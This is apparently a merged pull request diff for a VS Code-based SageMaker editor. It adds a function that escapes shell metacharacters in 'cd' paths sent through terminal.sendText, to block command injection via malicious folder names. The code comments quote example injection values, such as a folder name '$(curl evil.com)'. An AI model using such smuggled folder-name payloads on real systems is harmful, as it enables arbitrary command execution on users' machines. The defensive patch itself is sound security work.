Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -68,3 +68,29 @@ export function sanitizeCwd(cwd: string): string {
export function shouldUseEnvironmentVariableCollection(slc: IShellLaunchConfig): boolean {
return !slc.strictEnv;
}

/**
* Sanitize shell-dangerous characters in path segments of terminal commands.
* This targets command injection via malicious folder/file names containing
* shell metacharacters like $(), backticks, etc. that get interpolated when
* extensions send raw commands via terminal.sendText().
*
* The function identifies path-like segments following 'cd' commands and
* escapes shell metacharacters to prevent command substitution.
*/
export function sanitizeCdPathsInCommand(text: string): string {
Comment thread
aakashmandavilli96 marked this conversation as resolved.
// Match 'cd' followed by a path, terminated by ; && || & or end of string
// This handles patterns like: cd /path/to/$(evil) && python file.py
return text.replace(
/\bcd\s+((?:[^\s;|&]|\\ )+)/g,
(_match: string, path: string) => {
// If the path is already properly quoted (single or double quotes), leave it alone
if (/^'.*'$/.test(path) || /^".*"$/.test(path)) {
return `cd ${path}`;
}
// Escape shell metacharacters that enable command injection
const sanitized = path.replace(/([\$`!#&|;(){}<>])/g, '\\$1');
return `cd ${sanitized}`;
}
);
}
Original file line number Diff line number Diff line change
Expand Up @@ -49,6 +49,7 @@ import { IEnvironmentVariableCollection, IMergedEnvironmentVariableCollection }
import { deserializeEnvironmentVariableCollections } from 'vs/platform/terminal/common/environmentVariableShared';
import { IProcessDataEvent, IProcessPropertyMap, IReconnectionProperties, IShellLaunchConfig, ITerminalDimensionsOverride, ITerminalLaunchError, ITerminalLogService, PosixShellType, ProcessPropertyType, ShellIntegrationStatus, TerminalExitReason, TerminalIcon, TerminalLocation, TerminalSettingId, TerminalShellType, TitleEventSource, WindowsShellType } from 'vs/platform/terminal/common/terminal';
import { formatMessageForTerminal } from 'vs/platform/terminal/common/terminalStrings';
import { sanitizeCdPathsInCommand } from 'vs/platform/terminal/common/terminalEnvironment';
import { editorBackground } from 'vs/platform/theme/common/colorRegistry';
import { getIconRegistry } from 'vs/platform/theme/common/iconRegistry';
import { IColorTheme, IThemeService } from 'vs/platform/theme/common/themeService';
Expand Down Expand Up @@ -1237,6 +1238,9 @@ export class TerminalInstance extends Disposable implements ITerminalInstance {
}

async sendText(text: string, shouldExecute: boolean, bracketedPasteMode?: boolean): Promise<void> {
// Sanitize shell command substitution patterns in cd path arguments
// to prevent command injection via malicious folder names (e.g., $(curl evil.com))
text = sanitizeCdPathsInCommand(text);
// Apply bracketed paste sequences if the terminal has the mode enabled, this will prevent
// the text from triggering keybindings and ensure new lines are handled properly
if (bracketedPasteMode && this.xterm?.raw.modes.bracketedPasteMode) {
Expand Down
63 changes: 63 additions & 0 deletions patches/sanitize-terminal-sendtext-paths.diff
Original file line number Diff line number Diff line change
@@ -0,0 +1,63 @@
Sanitize folder paths in terminal sendText to prevent command injection

Folder names containing shell metacharacters (e.g., $(curl evil.com))
can trigger command injection when extensions send commands like
"cd <path> && python file.py" via terminal.sendText(). This patch
sanitizes path segments in cd commands by escaping shell-dangerous
characters before the text is written to the terminal process.

Index: sagemaker-code-editor/vscode/src/vs/platform/terminal/common/terminalEnvironment.ts
===================================================================
--- sagemaker-code-editor.orig/vscode/src/vs/platform/terminal/common/terminalEnvironment.ts
+++ sagemaker-code-editor/vscode/src/vs/platform/terminal/common/terminalEnvironment.ts
@@ -68,3 +68,29 @@
export function shouldUseEnvironmentVariableCollection(slc: IShellLaunchConfig): boolean {
return !slc.strictEnv;
}
+
+/**
+ * Sanitize shell-dangerous characters in path segments of terminal commands.
+ * This targets command injection via malicious folder/file names containing
+ * shell metacharacters like $(), backticks, etc. that get interpolated when
+ * extensions send raw commands via terminal.sendText().
+ *
+ * The function identifies path-like segments following 'cd' commands and
+ * escapes shell metacharacters to prevent command substitution.
+ */
+export function sanitizeCdPathsInCommand(text: string): string {
+ // Match 'cd' followed by a path, terminated by ; && || & or end of string
+ // This handles patterns like: cd /path/to/$(evil) && python file.py
+ return text.replace(
+ /\bcd\s+((?:[^\s;|&]|\\ )+)/g,
+ (_match: string, path: string) => {
+ // If the path is already properly quoted (single or double quotes), leave it alone
+ if (/^'.*'$/.test(path) || /^".*"$/.test(path)) {
+ return `cd ${path}`;
+ }
+ // Escape shell metacharacters that enable command injection
+ const sanitized = path.replace(/([\$`!#&|;(){}<>])/g, '\\$1');
+ return `cd ${sanitized}`;
+ }
+ );
+}
Index: sagemaker-code-editor/vscode/src/vs/workbench/contrib/terminal/browser/terminalInstance.ts
===================================================================
--- sagemaker-code-editor.orig/vscode/src/vs/workbench/contrib/terminal/browser/terminalInstance.ts
+++ sagemaker-code-editor/vscode/src/vs/workbench/contrib/terminal/browser/terminalInstance.ts
@@ -51,4 +51,5 @@
import { formatMessageForTerminal } from 'vs/platform/terminal/common/terminalStrings';
+import { sanitizeCdPathsInCommand } from 'vs/platform/terminal/common/terminalEnvironment';
import { editorBackground } from 'vs/platform/theme/common/colorRegistry';
import { getIconRegistry } from 'vs/platform/theme/common/iconRegistry';
import { IColorTheme, IThemeService } from 'vs/platform/theme/common/themeService';
@@ -1238,7 +1239,10 @@
}

async sendText(text: string, shouldExecute: boolean, bracketedPasteMode?: boolean): Promise<void> {
+ // Sanitize shell command substitution patterns in cd path arguments
+ // to prevent command injection via malicious folder names (e.g., $(curl evil.com))
+ text = sanitizeCdPathsInCommand(text);
// Apply bracketed paste sequences if the terminal has the mode enabled, this will prevent
// the text from triggering keybindings and ensure new lines are handled properly
if (bracketedPasteMode && this.xterm?.raw.modes.bracketedPasteMode) {
text = `\x1b[200~${text}\x1b[201~`;
1 change: 1 addition & 0 deletions patches/series
Original file line number Diff line number Diff line change
Expand Up @@ -21,3 +21,4 @@ sagemaker-extensions-sync.patch
display-language.patch
custom-extensions-marketplace.diff
validate-http-request-referer.patch
sanitize-terminal-sendtext-paths.diff
Loading